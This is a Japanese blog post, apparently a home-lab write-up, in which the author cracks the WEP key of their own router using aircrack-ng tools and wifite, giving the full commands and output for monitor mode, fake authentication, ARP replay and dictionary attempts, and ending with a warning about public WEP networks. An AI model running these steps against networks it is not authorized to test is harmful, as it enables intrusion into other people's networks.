無線LANのハッキング実験をしました。
結果、無線LANのパスワードの解析に成功しました。
(もちろん自宅環境です)
結論から言うと、無線LANのハッキングはwifiteというツールを用いると良いかもです。
環境
- 使用端末:MacBook Pro(intel)
- 仮想環境:VMware Fusion
- 仮想OS:Kali Linux
- ルータ:HUMAX HG100R-02JG
- Wi-Fiアダプタ:Panda Wireless PAU06 300Mbps N
環境設定
まず、Wi-Fiの暗号方式をWEPに変更します。
以下、HUMAX HG100R-02JGに限った設定方法ですが、参考までに。
- ルータの管理画面に入る(http://192.168.0.1とか。不明な場合、「ルータの型番+管理画面」で検索)
- ログイン後、「ワイヤレス > プライマリネットワーク」の順に押下
- 5GHzか2.4GHz帯を選択後、セキュリティタイプに「WEP/Auto」を選択
- 「キー入力方法」を「文字列」にし、「PASS KEY」に任意のアルファベット5文字を入力(ABCDEとか)
- 「適用」を押下
- 端末から接続できることを確認する(PWは④で入力した値)
※2.4GHzと5GHz両方ともWEPにすると色々と危険です。また、侵入テスト以外の時は無効化しておくのが良いでしょう。
次は、VMware上のKali LinuxにWi-Fiアダプタを適用します。
- Kali Linuxを起動
- メニューバーから「仮想マシン > USBとBlueTooth > Ralink 802.11n WLANを接続」の順に押下
ハッキング
レッツハッキング。
# 他のプロセスと競合しないように余計なものをKILLする
$ sudo airmon-ng check kill
# アダプタのインターフェース名を確認する(wlan0monとか)
$ sudo iwconfig
wlan0mon IEEE 802.11 Mode:Managed Frequency:2.412 GHz Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Power Management:off
# アダプタをモニターモード(周囲の電波をキャプチャするモード)にする
$ sudo airmon-ng start wlan0mon
# モニターモードになったか確認
$ sudo iwconfig
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Power Management:off
# 攻撃対象のBSSIDとチャンネルを確認
$ sudo airodump-ng wlan0mon
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:F8:5E:8A:C7:8D -31 4 8 0 1 54e WEP WEP HUMAX
# 対象のWi-Fiをキャプチャし、hoge-01.capというファイルにパケットを吐き出す
# #Data列でデータの収集具合を確認できる
$ sudo airodump-ng --bssid 38:F8:5E:8A:C7:8D --channel 1 --write hoge wlan0mon
CH 1 ][ Elapsed: 1 hour 12 mins ][ 2021-12-18 07:29 ][ fixed channel wlan0mon: 9
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:F8:5E:8A:C7:8D -28 100 37840 2237 0 1 54e WEP WEP OPN HUMAX
BSSID STATION PWR Rate Lost Frames Notes Probes
38:F8:5E:8A:C7:8D 9C:EF:D5:FB:F4:79 -30 1 - 1 49570 2483190
上の画面はそのまま放置し、新しいタブで解析をしていきます。
# パケットが十分に溜まっている場合(5000IVs以上)、解析を開始する
$ sudo aircrack-ng hoge-01.cap wlan0mon
Aircrack-ng 1.6
[00:00:02] Tested 159573 keys (got 2093 IVs)
Got 2382 out of 5000 IVs
KB depth byte(vote)
0 12/ 18 E0(3584) 11(3328) 20(3328) 42(3328) 71(3328) 88(3328) B8(3328)
1 6/ 7 6F(3584) 04(3328) 14(3328) 27(3328) 32(3328) 4F(3328) 65(3328)
2 27/ 2 D9(3072) 00(2816) 04(2816) 05(2816) 1F(2816) 31(2816) 3F(2816)
3 20/ 21 7F(3328) 2B(3072) 46(3072) 5B(3072) 65(3072) 95(3072) 9F(3072)
4 18/ 4 E5(3328) 0B(3072) 1C(3072) 22(3072) 3C(3072) 3E(3072) 4F(3072)
Failed. Next try with 5000 IVs.
今回は自宅の環境なので、攻撃対象のWi-Fiにはあまりデータが流れておらず、解析に必要なパケットが中々たまってくれません。
そこで、攻撃対象にARPリクエストを投げ込み、その応答をキャプチャすることでデータを収集します。
またまた新規タブを開きます。
# 自身のMACアドレスを確認(unspecの第6オクテットまで)
ifconfig
wlan0mon: flags=867<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,ALLMULTI> mtu 1500
unspec 9C-EF-D5-FB-F4-79-00-CB-00-00-00-00-00-00-00-00 txqueuelen 1000 (不明なネット)
# 攻撃対象のルータに「お宅のWi-Fiに接続したいんですが〜」と認証前段階に持っていく(FakeAuth)
$ sudo aireplay-ng --fakeauth 0 -a 38:F8:5E:8A:C7:8D -h 9C:EF:D5:FB:F4:79 wlan0mon
02:36:37 Sending Authentication Request (Open System) [ACK]
02:36:37 Authentication successful
02:36:37 Sending Association Request [ACK]
02:36:37 Association successful :-) (AID: 1)
# FakeAuthが成功すると、1個目の画面の「AUTH」の項目がOPNになっている
CH 6 ][ Elapsed: 10 mins ][ 2021-12-19 02:41
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:F8:5E:8A:C7:8D -22 100 5772 252 0 6 54e WEP WEP OPN HUMAX
# 最後に、攻撃対象にARPリクエストを投げる(-aに対象のBSSID、-hに自身のMACアドレス)
$ aireplay-ng --arpreplay -b 38:F8:5E:8A:C7:8D -h 9C:EF:D5:FB:F4:79 wlan0mon
02:37:37 Waiting for beacon frame (BSSID: 38:F8:5E:8A:C7:8D) on channel 6
Saving ARP requests in replay_arp-1219-023737.cap
You should also start airodump-ng to capture replies.
Read 6750 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
あとは、解析が完了するのを待つだけです。
(解析中、Wi-FIアダプタがずっとは触れないほど熱くなっていました)
しかし、、6時間経っても終わらず、、
そこで、辞書攻撃に切り替えることにしました。
# 辞書ファイルを用意
$ cp -pv /usr/share/wordlists/rockyou.txt.gz ./
$ gzip -d rockyou.txt.gz
# 溜めていたパケット(hoge-01.cap)を使用し、辞書で解析する
$ aircrack-ng -w rockyou.txt hoge-01.cap
Aircrack-ng 1.6
[00:05:13] Tested 14203381 keys (got 5350 IVs)
KB depth byte(vote)
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
少し待ちます。
5分ほど経過後、、
Aircrack-ng 1.6
KEY NOT FOUND
KB depth byte(vote)
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
Quitting aircrack-ng...
見つからなかったようですねorz
諦めず、、別のツールを使ってみます。
どうやら、wifiteというツールがあるみたいなので、使ってみます。
# ツール起動(Kali Linuxには標準で入っているようです)
$ wifite
. .
.´ · . . · `. wifite2 2.5.8
: : : (¯) : : : a wireless auditor by derv82
`. · ` /¯\ ´ · .´ maintained by kimocoder
` /¯¯¯\ ´ https://github.com/kimocoder/wifite2
[+] Using wlan0mon already in monitor mode
--- ------------------------- --- ----- ----- ---- ------
NUM ESSID CH ENCR POWER WPS? CLIENT
--- ------------------------- --- ----- ----- ---- ------
1 HUMAX 6 WEP 73db yes
2 XXXXXXXXXXXXX 1 WPA-P 66db yes
3 XXXXXXXXXXX 1 WPA-P 66db no
4 XXXXXXXXXXX 6 WPA-P 52db yes
5 XXXXXXXXXXXXXX 1 WPA-P 40db yes 1
6 XXXXXXXXXXX 11 WPA-P 35db yes
7 XXXXXXXXXXXXXXXX 11 WPA-P 35db yes
8 XXXXXXXXXXX 11 WPA-P 32db yes
9 XXXXXXXXXXXXXXX 1 WPA-P 32db yes
10 XXXXXXXXXXXXXXX 1 WPA-P 30db yes
11 XXXXXXXXXXXXXXX 2 WPA-P 29db yes
12 XXXXXXXXX 13 WPA-P 26db no
13 XXXXXXXXXXX 11 WPA-P 25db yes
14 XXXXXXXXX 13 WPA-P 24db yes
15 XXXXXXXXXXXXXXX 1 WPA-P 23db no
# Ctrl + Cを入力し(Enterは押さない)、ターゲットのNUMを入力します
[+] select target(s) (1-15) separated by commas, dashes or all: 1
# FakeAuthやらなんやらしているみたいです
[+] (1/1) Starting attacks against 38:F8:5E:8A:C7:8D (HUMAX)
[+] attempting fake-authentication with 38:F8:5E:8A:C7:8D... success
[+] HUMAX(75db) WEP replay: 0/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] HUMAX (75db) WEP replay: 4/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] HUMAX (75db) WEP replay: 4/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] HUMAX (76db) WEP replay: 58/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] HUMAX (77db) WEP replay: 58/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] HUMAX (76db) WEP replay: 61/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] HUMAX (75db) WEP replay: 61/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] HUMAX (74db) WEP replay: 21156/10000 IVs, fakeauth, Replaying @ 599/sec
# 1分後
[+] replay WEP attack successful
[+] ESSID: HUMAX
[+] BSSID: 38:F8:5E:8A:C7:8D
[+] Encryption: WEP
[+] Hex Key: 41:42:43:44:45
[+] Ascii Key: ABCDE #これがWi-Fiのパスワード
[+] saved crack result to cracked.json (1 total)
[+] Finished attacking 1 target(s), exiting
たったの1分で解析が完了しちゃいました。。
というわけで、無線LANのハッキングはwifiteを使いましょう。。
最後に
今回は、セキュリティレベルの低いWEP暗号方式を扱いました。
このWEP暗号方式ですが、未だに公共の場で使っているところが結構あったりします。
近所の図書館でもWEPを使っていました。
今回のように、1分もしないうちに解析されちゃいます。
解析されちゃうと、ルータの管理画面に入り、ルーティングの設定を書き換えられ、偽のサイトに誘導され、そこでログイン情報やクレジットカードの情報を盗めたりだとか、色々な手法で情報が漏洩しちゃいます。
公共の電波を使用するときはお気をつけください。。
コメントを残す